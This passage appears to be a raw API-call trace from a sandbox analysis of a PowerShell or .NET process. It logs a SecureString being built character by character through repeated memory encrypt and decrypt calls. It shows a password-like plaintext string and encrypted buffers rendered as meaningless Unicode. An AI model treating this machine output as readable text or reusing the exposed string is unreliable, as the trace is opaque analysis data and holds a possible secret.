pdwDataLen=0x5a2e8c4 | out: pbData=0x24f6dc0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0248.510] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.511] EtwEventActivityIdControl () returned 0x0 [0248.511] EtwEventActivityIdControl () returned 0x0 [0248.511] EtwEventActivityIdControl () returned 0x0 [0248.512] SysStringLen (param_1="") returned 0x8 [0248.512] SysStringLen (param_1="D") returned 0x8 [0248.512] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.512] SysStringLen (param_1="唻妑醃씁祔链卫舦") returned 0x8 [0248.512] SysStringLen (param_1="唻妑醃씁祔链卫舦") returned 0x8 [0248.512] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.512] SysStringLen (param_1="Dw") returned 0x8 [0248.512] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.512] SysStringLen (param_1="㸪園ऄ뻚믿莾㆑") returned 0x8 [0248.512] SysStringLen (param_1="㸪園ऄ뻚믿莾㆑") returned 0x8 [0248.512] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.513] SysStringLen (param_1="DwT") returned 0x8 [0248.513] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.513] SysStringLen (param_1="䊖耒䨶尢ퟳ풺鴈Ṏ") returned 0x8 [0248.513] SysStringLen (param_1="䊖耒䨶尢ퟳ풺鴈Ṏ") returned 0x8 [0248.513] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.513] SysStringLen (param_1="DwTz") returned 0x8 [0248.513] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.513] SysStringLen (param_1="⹃琰☄\丰᠌瞔∣) returned 0x8 [0248.513] SysStringLen (param_1="⹃琰☄\丰᠌瞔∣) returned 0x8 [0248.513] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.514] SysStringLen (param_1="DwTz1") returned 0x8 [0248.514] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.514] SysStringLen (param_1="㠗斓탓ꍂ횫쪢") returned 0x8 [0248.514] SysStringLen (param_1="㠗斓탓ꍂ횫쪢") returned 0x8 [0248.514] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.514] SysStringLen (param_1="DwTz1q") returned 0x8 [0248.514] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.514] SysStringLen (param_1="⊵ᑁ主휱쳵됈\廝⊆) returned 0x8 [0248.514] SysStringLen (param_1="⊵ᑁ主휱쳵됈\廝⊆) returned 0x8 [0248.514] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.514] SysStringLen (param_1="DwTz1qe") returned 0x8 [0248.514] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.515] SysStringLen (param_1="奍፫㕈啕徜濻浜ꦮ") returned 0x8 [0248.515] SysStringLen (param_1="奍፫㕈啕徜濻浜ꦮ") returned 0x8 [0248.515] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.515] SysStringLen (param_1="DwTz1qeb") returned 0x8 [0248.515] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.515] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱") returned 0x8 [0248.515] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱") returned 0x8 [0248.515] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱") returned 0x8 [0248.516] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱") returned 0x10 [0248.516] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.516] SysStringLen (param_1="DwTz1qebz픆讻꩕菑ᇨ㌱듊") returned 0x10 [0248.516] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.516] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱꽐𢡄嘲킝千梮ી捬") returned 0x10 [0248.516] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱꽐𢡄嘲킝千梮ી捬") returned 0x10 [0248.516] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.517] SysStringLen (param_1="DwTz1qebzo讻꩕菑ᇨ㌱듊") returned 0x10 [0248.517] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.517] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱캪줚썡㽻ꨥ䨁翏螢") returned 0x10 [0248.517] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱캪줚썡㽻ꨥ䨁翏螢") returned 0x10 [0248.517] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.517] SysStringLen (param_1="DwTz1qebzo6꩕菑ᇨ㌱듊") returned 0x10 [0248.517] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.517] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱甚퀿防㎂翋ᖘⶁ") returned 0x10 [0248.517] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱甚퀿防㎂翋ᖘⶁ") returned 0x10 [0248.517] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.517] SysStringLen (param_1="DwTz1qebzo6I菑ᇨ㌱듊") returned 0x10 [0248.517] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.518] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱崛䈬뀙\ᛜ䷔௒⋵) returned 0x10 [0248.518] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱崛䈬뀙\ᛜ䷔௒⋵) returned 0x10 [0248.518] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.518] SysStringLen (param_1="DwTz1qebzo6Idᇨ㌱듊") returned 0x10 [0248.518] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.518] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱濛㮝쏅鄙坈聩῔") returned 0x10 [0248.518] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱濛㮝쏅鄙坈聩῔") returned 0x10 [0248.518] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.518] SysStringLen (param_1="DwTz1qebzo6Idd㌱듊") returned 0x10 [0248.518] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.518] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱ᄓⷔ╚䈼䲽") returned 0x10 [0248.518] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱ᄓⷔ╚䈼䲽") returned 0x10 [0248.518] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.525] SysStringLen (param_1="DwTz1qebzo6IddT듊") returned 0x10 [0248.525] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.525] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱囎雓Ⱎわ訕") returned 0x10 [0248.525] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱囎雓Ⱎわ訕") returned 0x10 [0248.525] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.525] SysStringLen (param_1="DwTz1qebzo6IddTM") returned 0x10 [0248.525] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.525] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\⋚) returned 0x10 [0248.525] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\⋚) returned 0x10 [0248.525] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\⋚) returned 0x10 [0248.526] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\⋚) returned 0x18 [0248.526] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.526] SysStringLen (param_1="DwTz1qebzo6IddTMx鿼䆞᱗앙퐳រ") returned 0x18 [0248.526] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.526] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\㟚엘췑⨫ࡇሊ祝羷≝) returned 0x18 [0248.526] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\㟚엘췑⨫ࡇሊ祝羷≝) returned 0x18 [0248.526] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.527] SysStringLen (param_1="DwTz1qebzo6IddTMx8䆞᱗앙퐳រ") returned 0x18 [0248.527] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.527] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\﫚ರ⮯蹶措⨖譴ꪁ≯) returned 0x18 [0248.527] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\﫚ರ⮯蹶措⨖譴ꪁ≯) returned 0x18 [0248.527] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.527] SysStringLen (param_1="DwTz1qebzo6IddTMx8H᱗앙퐳រ") returned 0x18 [0248.527] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.527] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\\Ҙ\嗘Ⳙ홏∬) returned 0x18 [0248.527] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\\Ҙ\嗘Ⳙ홏∬) returned 0x18 [0248.527] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.527] SysStringLen (param_1="DwTz1qebzo6IddTMx8Ht᱗앙퐳រ") returned 0x18 [0248.527] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.528] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ﻚ惴犂俒缐ﻆ᥉≪) returned 0x18 [0248.528] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ﻚ惴犂俒缐ﻆ᥉≪) returned 0x18 [0248.528] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.528] SysStringLen (param_1="DwTz1qebzo6IddTMx8Htj앙퐳រ") returned 0x18 [0248.528] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.528] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\볚뭣텥⢷傂✁뭱⋬) returned 0x18 [0248.528] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\볚뭣텥⢷傂✁뭱⋬) returned 0x18 [0248.528] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.528] SysStringLen (param_1="DwTz1qebzo6IddTMx8Htjs퐳រ") returned 0x18 [0248.528] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.528] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\픿嬨賜䗜梳厛垍⊘) returned 0x18 [0248.528] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\픿嬨賜䗜梳厛垍⊘) returned 0x18 [0248.528] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.529] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXរ") returned 0x18 [0248.529] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.576] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\藏á鰌⋘挕킦∓) returned 0x18 [0248.576] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\藏á鰌⋘挕킦∓) returned 0x18 [0248.576] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.576] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXF") returned 0x18 [0248.576] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.576] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑≞) returned 0x18 [0248.577] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑≞) returned 0x18 [0248.577] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑≞) returned 0x18 [0248.577] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑≞) returned 0x20 [0248.577] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.577] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXFz껴ꈏ曦槢ꊼ鎤") returned 0x20 [0248.577] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.578] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑ⱞꌥ랋죻嫌Ө静≺) returned 0x20 [0248.578] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑ⱞꌥ랋죻嫌Ө静≺) returned 0x20 [0248.578] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.578] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXFzwꈏ曦槢ꊼ鎤") returned 0x20 [0248.578] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.578] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑칞尊砀㄀挀需릗祓䐊ᗮ≉) returned 0x20 [0248.578] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑칞尊砀㄀挀需릗祓䐊ᗮ≉) returned 0x20 [0248.578] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.578] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXFzwM曦槢ꊼ鎤") returned 0x20 [0248.578] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.578] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑୞茉ஒ鶑熣浅師❨≚) returned 0x20 [0248.578] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑୞茉ஒ鶑熣浅師❨≚) returned 0x20 [0248.578] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.579] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXFzwMq曦槢ꊼ鎤") returned 0x20 [0248.579] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.579] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑捞麶\瓛唣恬㵭䃇꽸") returned 0x20 [0248.579] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑捞麶\瓛唣恬㵭䃇꽸") returned 0x20 [0248.579] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.579] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXFzwMqJ槢ꊼ鎤") returned 0x20 [0248.579] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.579] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑橞簹⺪蠆\郞ᗞ") returned 0x20 [0248.579] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑橞簹⺪蠆\郞ᗞ") returned 0x20 [0248.579] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.579] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXFzwMqJ4ꊼ鎤") returned 0x20 [0248.579] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.580] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑蹞➡ｿꫬ쾇쇘鲶⋑) returned 0x20 [0248.580] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑蹞➡ｿꫬ쾇쇘鲶⋑) returned 0x20 [0248.580] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.580] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXFzwMqJ4B鎤") returned 0x20 [0248.580] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.580] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑婞皌掄\螾볽㏐鋼") returned 0x20 [0248.580] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑婞皌掄\螾볽㏐鋼") returned 0x20 [0248.580] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.580] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXFzwMqJ4BG") returned 0x20 [0248.580] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.580] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞∥) returned 0x20 [0248.581] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞∥) returned 0x20 [0248.581] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞∥) returned 0x20 [0248.581] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞∥) returned 0x28 [0248.581] SystemFunction041 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.582] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXFzwMqJ4BGH谚ဋ⬻퀥련⶿") returned 0x28 [0248.582] SystemFunction040 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.582] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞伥ꢶ\凚ꚾ⢌氺브") returned 0x28 [0248.582] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞伥ꢶ\凚ꚾ⢌氺브") returned 0x28 [0248.582] SystemFunction041 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.582] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXFzwMqJ4BGHlဋ⬻퀥련⶿") returned 0x28 [0248.582] SystemFunction040 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.582] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞弥䎃㤡⿕릱露㨿坤⋌) returned 0x28 [0248.582] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞弥䎃㤡⿕릱露㨿坤⋌) returned 0x28 [0248.582] SystemFunction041 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.582] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXFzwMqJ4BGHlq⬻퀥련⶿") returned 0x28 [0248.582] SystemFunction040 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.583] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞혥⯥込㪔⍙钨첀焹⊮) returned 0x28 [0248.583] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞혥⯥込㪔⍙钨첀焹⊮) returned 0x28 [0248.583] SystemFunction041 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.583] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXFzwMqJ4BGHlqX퀥련⶿") returned 0x28 [0248.583] SystemFunction040 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.583] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞ᨥ㈾䗷㏢鉡쌐㚤뚓∃) returned 0x28 [0248.583] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞ᨥ㈾䗷㏢鉡쌐㚤뚓∃) returned 0x28 [0248.583] SystemFunction041 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.583] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXFzwMqJ4BGHlqXN련⶿") returned 0x28 [0248.583] SystemFunction040 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.583] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞줥殽秤실뉈憫픸㻛∩) returned 0x28 [0248.583] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞줥殽秤실뉈憫픸㻛∩) returned 0x28 [0248.583] SystemFunction041 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.584] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXFzwMqJ4BGHlqXNO⶿") returned 0x28 [0248.584] SystemFunction040 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.584] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞ꀥ鸈⹕䳰ꜗ餀☤⊣) returned 0x28 [0248.584] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞ꀥ鸈⹕䳰ꜗ餀☤⊣) returned 0x28 [0248.584] SystemFunction041 (in: 